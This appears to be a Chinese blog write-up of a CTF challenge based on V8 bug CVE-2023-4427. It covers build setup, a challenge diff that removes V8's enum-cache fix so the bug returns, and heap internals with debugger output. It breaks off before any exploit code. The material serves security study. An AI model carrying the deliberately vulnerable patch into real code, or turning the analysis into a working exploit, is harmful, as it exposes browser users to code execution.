强网杯2023Final-D8利用分析——从越界读到任意代码执行(CVE-2023-4427)

First Post:

Last Update:

前言 Introduction

在2024年1月举行的强网杯决赛中遇到了以 CVE-2023-4427 为题所出的一道题目,该漏洞相关信息均以披露,在比赛期间我也完成了本地的利用测试,但可惜的是,我的利用只在我本地的设备上成功运行,尽管在官方提供的虚拟机下也能成功利用,但却没能完成展示机的利用,尽管目前笔者并不清楚其原因,但斗胆在此讨论该漏洞的相关利用思路,如果有师傅解决了该问题,还请务必与我联系,感激不尽:(附一张本地虚拟机成功的图片)

这是一台全新的、刚刚通过 ovf 导入的虚拟机,它在我本地成功了,但奇怪的是,它在其他队友们的设备,以及展示机上都未能成功,目前笔者暂时不清楚确切的原因。
如果您了解相关信息,欢迎联系:tokameine@gmail.com,感激不尽!

顺便,久违的撰写了 V8 相关的内容,姑且将其作为Chaos-me-JavaScript-V8的第八章吧QWQ

调试环境搭建 Environment

在题目的目录下可以找到相关的版本:

1
2
V8 version 12.2.149
d8>

得到版本以后,按照标准流程构建即可,详细内容请参考 Chapter1-环境配置,本文仅做简述。

配置depot_tools

1
2
3
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/depot_tools:$PATH

获取源代码

1
2
3
4
5
6
mkdir v8
cd v8
fetch v8
cd v8
git checkout 12.2.149
gclient sync -D

安装依赖

1
./build/install-build-deps.sh

补丁

1
git apply diff.patch

这里把补丁一起贴一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7d04b064177..d5f3b169487 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1041,13 +1041,6 @@ MapUpdater::State MapUpdater::ConstructNewMap() {
// the new descriptors to maintain descriptors sharing invariant.
split_map->ReplaceDescriptors(isolate_, *new_descriptors);

- // If the old descriptors had an enum cache, make sure the new ones do too.
- if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
- new_map->NumberOfEnumerableProperties() > 0) {
- FastKeyAccumulator::InitializeFastPropertyEnumCache(
- isolate_, new_map, new_map->NumberOfEnumerableProperties());
- }
-
if (has_integrity_level_transition_) {
target_map_ = new_map;
state_ = kAtIntegrityLevelSource;

编译

1
2
gn gen out/debug --args="symbol_level=2 blink_symbol_level=2 is_debug=true enable_nacl=false dcheck_always_on=false v8_enable_sandbox=false"
ninja -C out/debug d8

注意事项

这里简单解释一下为什么笔者另外编译了一个调试版本的二进制文件。

在我们调试 d8 的时候往往都需要使用到官方提供的 gdb 插件,这个插件能够帮助我们解析某个地址处的对象的所有相关成员,由于笔者一般记不清各种对象的成员偏移,所以往往会使用这种方法来查找对象的各个成员的偏移地址。而该插件的原理是直接调用了调试版二进制文件下的一个函数,该函数在 is_debug=true 的时候才会被编译出来,因此特地编译一个调试版用来对照,方便我们在调试 Release 版的时候清楚我们需要哪些数据。

漏洞成因分析

前置知识 Prerequisite Knowledge

其实各大分析文章都讲的差不多了,但这里为了内容完整,笔者还是再次引述或依托一部分自己的理解造一次轮子吧。

In-object property 对象内属性

在构造对象时,一个对象的属性会被储存在对象本身的 property 中,如图:

我们通过如下代码来验证:

1
2
3
4
5
6
7
8
obj={};
obj.a=1;
obj.b=2;
obj.c=3;
obj.d=4;
obj.e=5;
%DebugPrint(obj);
%SystemBreak()

得到对应对象:

1
2
3
4
5
6
7
8
9
10
11
DebugPrint: 0x1a05001c9475: [JS_OBJECT_TYPE]
- map: 0x1a05000d9d21 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1a05000c4be9 <Object map = 0x1a05000c4225>
- elements: 0x1a05000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1a05000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x1a0500002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x1a0500002a31: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
0x1a0500002a41: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object
0x1a0500002a51: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object
}
1
2
3
pwndbg> x/16wx 0x1a05001c9475-1
0x1a05001c9474: 0x000d9d21 0x000006cd 0x000006cd 0x00000002
0x1a05001c9484: 0x00000004 0x00000006 0x00000008 0x0000062d

可以发现,各属性对应的值均被储存在对象的特定偏移处。

不过请注意,如果属性的数量超过了 4 个,多出来的部分并不会再储存在内存连续的位置,而是为 properties 成员创建额外的数组对象,将多余的部分储存在该对象中,例如:

1
2
3
4
5
6
7
8
obj={};
obj.a=1;
obj.b=2;
obj.c=3;
obj.d=4;
obj.e=4;
%DebugPrint(obj);
%SystemBreak()
1
2
3
4
5
6
7
8
9
10
11
12
DebugPrint: 0x937001c947d: [JS_OBJECT_TYPE]
- map: 0x0937000d9d51 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0937000c4be9 <Object map = 0x937000c4225>
- elements: 0x0937000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0937001c959d <PropertyArray[3]>
- All own properties (excluding elements): {
0x93700002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x93700002a31: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
0x93700002a41: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object
0x93700002a51: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object
0x93700002a61: [String] in ReadOnlySpace: #e: 4 (const data field 4), location: properties[0]
}
1
2
3
4
5
6
7
8
pwndbg> job 0x0937001c959d
warning: Could not find DWO CU obj/v8_base_without_compiler/objects-printer.dwo(0x3c4788f05463b6bd) referenced by CU at offset 0x15e0 [in module /home/tokameine/Desktop/qwfin/debug-qwb/libv8.so]
0x937001c959d: [PropertyArray]
- map: 0x093700000941 <Map(PROPERTY_ARRAY_TYPE)>
- length: 3
- hash: 0
0: 4
1-2: 0x093700000061 <undefined>

可以注意到,数量少于等于 4 时,properties 对应的类型是 FixedArray,而超过之后则变成PropertyArray ,并储存多余的部分。

DescriptorArray 描述符数组

对于对象的每个属性,都需要有一个地方用于存储该属性相关的信息,该对象即为 DescriptorArray ,他位于对象的 map 成员下的 instance descriptors

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
DebugPrint: 0x937001c947d: [JS_OBJECT_TYPE]
- map: 0x0937000d9d51 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0937000c4be9 <Object map = 0x937000c4225>
- elements: 0x0937000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0937001c959d <PropertyArray[3]>
- All own properties (excluding elements): {
0x93700002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x93700002a31: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
0x93700002a41: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object
0x93700002a51: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object
0x93700002a61: [String] in ReadOnlySpace: #e: 4 (const data field 4), location: properties[0]
}
0x937000d9d51: [Map] in OldSpace
- map: 0x0937000c3d01 <MetaMap (0x0937000c3d51 <NativeContext[285]>)>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 2
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x0937000d9d29 <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x0937000d9cd1 <Cell value= 0>
- instance descriptors (own) #5: 0x0937001c9551 <DescriptorArray[5]>
- prototype: 0x0937000c4be9 <Object map = 0x937000c4225>
- constructor: 0x0937000c472d <JSFunction Object (sfi = 0x937003367e5)>
- dependent code: 0x0937000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

pwndbg> job 0x0937001c9551
0x937001c9551: [DescriptorArray]
- map: 0x09370000062d <Map(DESCRIPTOR_ARRAY_TYPE)>
- enum_cache: empty
- nof slack descriptors: 0
- nof descriptors: 5
- raw gc state: mc epoch 0, marked 0, delta 0
[0]: 0x93700002a21: [String] in ReadOnlySpace: #a (const data field 0:s, p: 4, attrs: [WEC]) @ Any
[1]: 0x93700002a31: [String] in ReadOnlySpace: #b (const data field 1:s, p: 3, attrs: [WEC]) @ Any
[2]: 0x93700002a41: [String] in ReadOnlySpace: #c (const data field 2:s, p: 2, attrs: [WEC]) @ Any
[3]: 0x93700002a51: [String] in ReadOnlySpace: #d (const data field 3:s, p: 1, attrs: [WEC]) @ Any
[4]: 0x93700002a61: [String] in ReadOnlySpace: #e (const data field 4:s, p: 0, attrs: [WEC]) @ Any

当有不同的对象据由相似的属性时,他们会共用这些描述符,例如:

1
2
3
4
5
6
7
8
9
obj1={};
obj1.a=1;
obj1.b=2;
obj2={};
obj2.a=1;
obj2.b=2;
obj2.c=3;
%DebugPrint(obj1);
%DebugPrint(obj2);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
DebugPrint: 0xe1e001c94a5: [JS_OBJECT_TYPE]
- map: 0x0e1e000d9ce5 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0e1e000c4be9 <Object map = 0xe1e000c4225>
- elements: 0x0e1e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0e1e000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0xe1e00002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0xe1e00002a31: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object

DebugPrint: 0xe1e001c9505: [JS_OBJECT_TYPE]
- map: 0x0e1e000d9d21 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0e1e000c4be9 <Object map = 0xe1e000c4225>
- elements: 0x0e1e000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0e1e000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0xe1e00002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0xe1e00002a31: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
0xe1e00002a41: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object

可以看到,obj1obj2ab 属性共享了同一个描述符。

而描述符的布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// A DescriptorArray is a custom array that holds instance descriptors.
// It has the following layout:
// Header:
// [16:0 bits]: number_of_all_descriptors (including slack)
// [32:16 bits]: number_of_descriptors
// [48:32 bits]: raw_number_of_marked_descriptors (used by GC)
// [64:48 bits]: alignment filler
// [kEnumCacheOffset]: enum cache
// Elements:
// [kHeaderSize + 0]: first key (and internalized String)
// [kHeaderSize + 1]: first descriptor details (see PropertyDetails)
// [kHeaderSize + 2]: first value for constants / Smi(1) when not used
// Slack:
// [kHeaderSize + number of descriptors * 3]: start of slack
// The "value" fields store either values or field types. A field type is either
// FieldType::None(), FieldType::Any() or a weak reference to a Map. All other
// references are strong.

我们暂且还不太关心具体的结构。

enum cache 枚举缓存

通过上文方式声明的属性称之为 fast property,这里笔者就以 快速属性 代称。在查找快速属性时,如果对象没有被更改,那么就会为其生成枚举缓存,例如通过 Object.getOwnPropertyNames 或者 for-in 语法。

这里的缓存只记录了相关的 key 和索引,不记录具体的值。

1
2
3
4
5
obj={};
obj.a=1;
for (let key in obj) { }
%DebugPrint(obj);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
DebugPrint: 0xf61001c9475: [JS_OBJECT_TYPE]
- map: 0x0f61000d9c85 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0f61000c4be9 <Object map = 0xf61000c4225>
- elements: 0x0f61000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0f61000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0xf6100002a21: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}
0xf61000d9c85: [Map] in OldSpace
- map: 0x0f61000c3d01 <MetaMap (0x0f61000c3d51 <NativeContext[285]>)>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 3
- elements kind: HOLEY_ELEMENTS
- enum length: 1
- stable_map
- back pointer: 0x0f61000c4a1d <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x0f61000d9ccd <Cell value= 0>
- instance descriptors (own) #1: 0x0f61001c9491 <DescriptorArray[1]>
- prototype: 0x0f61000c4be9 <Object map = 0xf61000c4225>
- constructor: 0x0f61000c472d <JSFunction Object (sfi = 0xf61003367e5)>
- dependent code: 0x0f61000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

查一下相关对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> job 0x0f61001c9491
warning: Could not find DWO CU obj/v8_base_without_compiler/objects-printer.dwo(0x3c4788f05463b6bd) referenced by CU at offset 0x15e0 [in module /home/tokameine/Desktop/qwfin/debug-qwb/libv8.so]
0xf61001c9491: [DescriptorArray]
- map: 0x0f610000062d <Map(DESCRIPTOR_ARRAY_TYPE)>
- enum_cache: 1
- keys: 0x0f61000d9cd5 <FixedArray[1]>
- indices: 0x0f61000d9ce1 <FixedArray[1]>
- nof slack descriptors: 0
- nof descriptors: 1
- raw gc state: mc epoch 0, marked 0, delta 0
[0]: 0xf6100002a21: [String] in ReadOnlySpace: #a (const data field 0:s, p: 0, attrs: [WEC]) @ Any
pwndbg> job 0x0f61000d9ce1
0xf61000d9ce1: [FixedArray] in OldSpace
- map: 0x0f6100000565 <Map(FIXED_ARRAY_TYPE)>
- length: 1
0: 0
pwndbg> job 0x0f61000d9cd5
0xf61000d9cd5: [FixedArray] in OldSpace
- map: 0x0f6100000565 <Map(FIXED_ARRAY_TYPE)>
- length: 1
0: 0x0f6100002a21 <String[1]: #a>

在对代码完成 ReduceJSLoadPropertyWithEnumeratedKey 优化以后,将会使用该缓存来访问相应属性。对应 SON 中的表现为,将 JSLoadProperty 节点优化为 LoadFieldByIndex

相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// js-native-context-specialization.cc

Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
Node* node) {
// We can optimize a property load if it's being used inside a for..in:
// for (name in receiver) {
// value = receiver[name];
// ...
// }
//
// If the for..in is in fast-mode, we know that the {receiver} has {name}
// as own property, otherwise the enumeration wouldn't include it. The graph
// constructed by the BytecodeGraphBuilder in this case looks like this:

// receiver
// ^ ^
// | |
// | +-+
// | |
// | JSToObject
// | ^
// | |
// | |
// | JSForInNext
// | ^
// | |
// +----+ |
// | |
// | |
// JSLoadProperty

// If the for..in has only seen maps with enum cache consisting of keys
// and indices so far, we can turn the {JSLoadProperty} into a map check
// on the {receiver} and then just load the field value dynamically via
// the {LoadFieldByIndex} operator. The map check is only necessary when
// TurboFan cannot prove that there is no observable side effect between
// the {JSForInNext} and the {JSLoadProperty} node.
//
// Also note that it's safe to look through the {JSToObject}, since the
// [[Get]] operation does an implicit ToObject anyway, and these operations
// are not observable.

DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
Node* receiver = NodeProperties::GetValueInput(node, 0);
JSForInNextNode name(NodeProperties::GetValueInput(node, 1));
Node* effect = NodeProperties::GetEffectInput(node);

...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
// keys.cc

MaybeHandle<FixedArray> FastKeyAccumulator::GetKeys(
GetKeysConversion keys_conversion) {
// TODO(v8:9401): We should extend the fast path of KeyAccumulator::GetKeys to
// also use fast path even when filter = SKIP_SYMBOLS. We used to pass wrong
// filter to use fast path in cases where we tried to verify all properties
// are enumerable. However these checks weren't correct and passing the wrong
// filter led to wrong behaviour.
printf("[+] FastKeyAccumulator::GetKeys\n");
if (filter_ == ENUMERABLE_STRINGS) {
Handle<FixedArray> keys;
if (GetKeysFast(keys_conversion).ToHandle(&keys)) { // 반복문일경우 빠른 읽기로 key를 가져옵니다.
return keys;
}
if (isolate_->has_pending_exception()) return MaybeHandle<FixedArray>();
}

if (try_prototype_info_cache_) {
return GetKeysWithPrototypeInfoCache(keys_conversion);
}
return GetKeysSlow(keys_conversion);
}


MaybeHandle<FixedArray> FastKeyAccumulator::GetKeysFast(
GetKeysConversion keys_conversion) {
printf("[+] FastKeyAccumulator::GetKeysFast\n");
bool own_only = has_empty_prototype_ || mode_ == KeyCollectionMode::kOwnOnly;
Map map = receiver_->map();
if (!own_only || map.IsCustomElementsReceiverMap()) {
return MaybeHandle<FixedArray>();
}

// From this point on we are certain to only collect own keys.
DCHECK(receiver_->IsJSObject());
Handle<JSObject> object = Handle<JSObject>::cast(receiver_);

// Do not try to use the enum-cache for dict-mode objects.
if (map.is_dictionary_map()) {
return GetOwnKeysWithElements<false>(isolate_, object, keys_conversion,
skip_indices_);
}
int enum_length = receiver_->map().EnumLength();
if (enum_length == kInvalidEnumCacheSentinel) {
Handle<FixedArray> keys;
// Try initializing the enum cache and return own properties.
if (GetOwnKeysWithUninitializedEnumLength().ToHandle(&keys)) { // enum cache가 생성되지 않으면 enum length는 0
if (v8_flags.trace_for_in_enumerate) {
PrintF("| strings=%d symbols=0 elements=0 || prototypes>=1 ||\n",
keys->length());
}
is_receiver_simple_enum_ =
object->map().EnumLength() != kInvalidEnumCacheSentinel;
return keys;
}
}
// The properties-only case failed because there were probably elements on the
// receiver.
return GetOwnKeysWithElements<true>(isolate_, object, keys_conversion,
skip_indices_);
}

MaybeHandle<FixedArray>
FastKeyAccumulator::GetOwnKeysWithUninitializedEnumLength() {
printf("[+] FastKeyAccumulator::GetOwnKeysWithUninitializedEnumLength\n");
Handle<JSObject> object = Handle<JSObject>::cast(receiver_);
// Uninitialized enum length
Map map = object->map();
if (object->elements() != ReadOnlyRoots(isolate_).empty_fixed_array() &&
object->elements() !=
ReadOnlyRoots(isolate_).empty_slow_element_dictionary()) {
// Assume that there are elements.
return MaybeHandle<FixedArray>();
}
int number_of_own_descriptors = map.NumberOfOwnDescriptors();
if (number_of_own_descriptors == 0) {
map.SetEnumLength(0);
return isolate_->factory()->empty_fixed_array();
}
// We have no elements but possibly enumerable property keys, hence we can
// directly initialize the enum cache.
Handle<FixedArray> keys = GetFastEnumPropertyKeys(isolate_, object); // in-object는 peroperties에 없기 때문에 가져온 array는 비어있음
if (is_for_in_) return keys;
// Do not leak the enum cache as it might end up as an elements backing store.
return isolate_->factory()->CopyFixedArray(keys);
}

// 최종적으로 fastproperty에 대한 접근과 cache를 생성합니다.
// static
Handle<FixedArray> FastKeyAccumulator::InitializeFastPropertyEnumCache(
Isolate* isolate, Handle<Map> map, int enum_length,
AllocationType allocation) {
printf("[+] FastKeyAccumulator::InitializeFastPropertyEnumCache\n");
DCHECK_EQ(kInvalidEnumCacheSentinel, map->EnumLength());
DCHECK_GT(enum_length, 0);
DCHECK_EQ(enum_length, map->NumberOfEnumerableProperties());
DCHECK(!map->is_dictionary_map());

Handle<DescriptorArray> descriptors =
Handle<DescriptorArray>(map->instance_descriptors(isolate), isolate);

// The enum cache should have been a hit if the number of enumerable
// properties is fewer than what's already in the cache.
DCHECK_LT(descriptors->enum_cache().keys().length(), enum_length);
isolate->counters()->enum_cache_misses()->Increment();

// Create the keys array.
int index = 0;
bool fields_only = true;
Handle<FixedArray> keys =
isolate->factory()->NewFixedArray(enum_length, allocation);
for (InternalIndex i : map->IterateOwnDescriptors()) {
DisallowGarbageCollection no_gc;
PropertyDetails details = descriptors->GetDetails(i);
if (details.IsDontEnum()) continue;
Object key = descriptors->GetKey(i);
if (key.IsSymbol()) continue;
keys->set(index, key);
if (details.location() != PropertyLocation::kField) fields_only = false;
index++;
}
DCHECK_EQ(index, keys->length());

// Optionally also create the indices array.
Handle<FixedArray> indices = isolate->factory()->empty_fixed_array();
if (fields_only) {
indices = isolate->factory()->NewFixedArray(enum_length, allocation);
index = 0;
DisallowGarbageCollection no_gc;
Tagged<Map> raw_map = *map;
Tagged<FixedArray> raw_indices = *indices;
Tagged<DescriptorArray> raw_descriptors = *descriptors;
for (InternalIndex i : raw_map->IterateOwnDescriptors()) {
PropertyDetails details = raw_descriptors->GetDetails(i);
if (details.IsDontEnum()) continue;
Object key = raw_descriptors->GetKey(i);
if (key.IsSymbol()) continue;
DCHECK_EQ(PropertyKind::kData, details.kind());
DCHECK_EQ(PropertyLocation::kField, details.location());
FieldIndex field_index = FieldIndex::ForDetails(raw_map, details);
raw_indices->set(index, Smi::FromInt(field_index.GetLoadByFieldIndex()));
index++;
}
DCHECK_EQ(index, indices->length());
}

DescriptorArray::InitializeOrChangeEnumCache(descriptors, isolate, keys,
indices, allocation); // enum cache생성
if (map->OnlyHasSimpleProperties()) map->SetEnumLength(enum_length);
return keys;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// objects.cc

void DescriptorArray::InitializeOrChangeEnumCache(
Handle<DescriptorArray> descriptors, Isolate* isolate,
Handle<FixedArray> keys, Handle<FixedArray> indices,
AllocationType allocation_if_initialize) {
printf("[+] DescriptorArray::InitializeOrChangeEnumCache\n");
EnumCache enum_cache = descriptors->enum_cache();
if (enum_cache == ReadOnlyRoots(isolate).empty_enum_cache()) {
enum_cache = *isolate->factory()->NewEnumCache(keys, indices,
allocation_if_initialize);
descriptors->set_enum_cache(enum_cache);
} else {
enum_cache.set_keys(*keys);
enum_cache.set_indices(*indices);
}
enum_cache.Print();
}

漏洞成因

修复该漏洞的补丁内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 8b2e7f3..568df12 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -12,6 +12,7 @@
#include "src/handles/handles.h"
#include "src/heap/parked-scope-inl.h"
#include "src/objects/field-type.h"
+#include "src/objects/keys.h"
#include "src/objects/objects-inl.h"
#include "src/objects/objects.h"
#include "src/objects/property-details.h"
@@ -1037,6 +1038,13 @@
// the new descriptors to maintain descriptors sharing invariant.
split_map->ReplaceDescriptors(isolate_, *new_descriptors);

+ // If the old descriptors had an enum cache, make sure the new ones do too.
+ if (old_descriptors_->enum_cache().keys().length() > 0 &&
+ new_map->NumberOfEnumerableProperties() > 0) {
+ FastKeyAccumulator::InitializeFastPropertyEnumCache(
+ isolate_, new_map, new_map->NumberOfEnumerableProperties());
+ }
+
if (has_integrity_level_transition_) {
target_map_ = new_map;
state_ = kAtIntegrityLevelSource;

根据注释,补丁的大致用意是:如果某个对象需要更新描述符,那么如果这个被更新的描述符已经构建了枚举缓存,那么就要为新的描述符也重新构建枚举缓存。

反过来说,这意味着对于补丁以前的解释器来说,在它对某个对象更新其描述符时,不会为新描述符重新生成枚举缓存,也就是说,新的描述符会使用旧的枚举缓存

其中的一个补丁:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7a864d9..9c20491 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1040,7 +1040,8 @@
split_map->ReplaceDescriptors(isolate_, *new_descriptors);

// If the old descriptors had an enum cache, make sure the new ones do too.
- if (old_descriptors_->enum_cache()->keys()->length() > 0) {
+ if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
+ new_map->NumberOfEnumerableProperties() > 0) {
FastKeyAccumulator::InitializeFastPropertyEnumCache(
isolate_, new_map, new_map->NumberOfEnumerableProperties());
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[runtime] Don't try to create empty enum cache.

When copying maps and the new map has no enumerable properties we
should not try to initialize an enum cache.

This happens if the deprecation is due to making the only property in
a map non enumerable.

Bug: chromium:1472317, chromium:1470668
Change-Id: I7a6af63e50dc30592e2caacce0caccfb31f534cf
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/4775581
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Commit-Queue: Olivier Flückiger <olivf@chromium.org>
Cr-Commit-Position: refs/heads/main@{#89534}

大致意思就是说,如果新对象没有快速属性,不要为它创建空的枚举缓存。

不妨用一个简单的例子来看看具体的现象是什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;

for (let key in object2) { }

%DebugPrint(object2);
%DebugPrint(object3);
%SystemBreak();
object3.c = 1.1;
% DebugPrint(object2);
%SystemBreak();

首先创建了三个对象,其中 object2object3 能够共享描述符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
DebugPrint: 0x123a001c959d: [JS_OBJECT_TYPE]
- map: 0x123a000d9d01 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x123a000c4be9 <Object map = 0x123a000c4225>
- elements: 0x123a000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x123a000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x123a00002a21: [String] in ReadOnlySpace: #a: 2 (const data field 0), location: in-object
0x123a00002a31: [String] in ReadOnlySpace: #b: 3 (const data field 1), location: in-object
}
0x123a000d9d01: [Map] in OldSpace
- map: 0x123a000c3d01 <MetaMap (0x123a000c3d51 <NativeContext[285]>)>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 2
- elements kind: HOLEY_ELEMENTS
- enum length: 2
- back pointer: 0x123a000d9cb1 <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x123a000d9cf9 <Cell value= 0>
- instance descriptors #2: 0x123a001c95fd <DescriptorArray[3]>
- transitions #1: 0x123a000d9d29 <Map[28](HOLEY_ELEMENTS)>
0x123a00002a41: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x123a000d9d29 <Map[28](HOLEY_ELEMENTS)>
- prototype: 0x123a000c4be9 <Object map = 0x123a000c4225>
- constructor: 0x123a000c472d <JSFunction Object (sfi = 0x123a003367e5)>
- dependent code: 0x123a000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

DebugPrint: 0x123a001c95e1: [JS_OBJECT_TYPE]
- map: 0x123a000d9d29 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x123a000c4be9 <Object map = 0x123a000c4225>
- elements: 0x123a000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x123a000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x123a00002a21: [String] in ReadOnlySpace: #a: 4 (const data field 0), location: in-object
0x123a00002a31: [String] in ReadOnlySpace: #b: 5 (const data field 1), location: in-object
0x123a00002a41: [String] in ReadOnlySpace: #c: 6 (const data field 2), location: in-object
}
0x123a000d9d29: [Map] in OldSpace
- map: 0x123a000c3d01 <MetaMap (0x123a000c3d51 <NativeContext[285]>)>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 1
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x123a000d9d01 <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x123a000d9cf9 <Cell value= 0>
- instance descriptors (own) #3: 0x123a001c95fd <DescriptorArray[3]>
- prototype: 0x123a000c4be9 <Object map = 0x123a000c4225>
- constructor: 0x123a000c472d <JSFunction Object (sfi = 0x123a003367e5)>
- dependent code: 0x123a000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> job 0x123a001c95fd
warning: Could not find DWO CU obj/v8_base_without_compiler/objects-printer.dwo(0x3c4788f05463b6bd) referenced by CU at offset 0x15e0 [in module /home/tokameine/Desktop/qwfin/debug-qwb/libv8.so]
0x123a001c95fd: [DescriptorArray]
- map: 0x123a0000062d <Map(DESCRIPTOR_ARRAY_TYPE)>
- enum_cache: 2
- keys: 0x123a000d9d51 <FixedArray[2]>
- indices: 0x123a000d9d61 <FixedArray[2]>
- nof slack descriptors: 0
- nof descriptors: 3
- raw gc state: mc epoch 0, marked 0, delta 0
[0]: 0x123a00002a21: [String] in ReadOnlySpace: #a (const data field 0:s, p: 2, attrs: [WEC]) @ Any
[1]: 0x123a00002a31: [String] in ReadOnlySpace: #b (const data field 1:s, p: 1, attrs: [WEC]) @ Any
[2]: 0x123a00002a41: [String] in ReadOnlySpace: #c (const data field 2:s, p: 0, attrs: [WEC]) @ Any

可以看到,两个对象共享了 instance descriptors ,因此会据有相同的描述符。

而当对 object3 的属性做额外的赋值时,将会改变这一现状,因为类型的变化,因此需要重新更新这两个描述符:

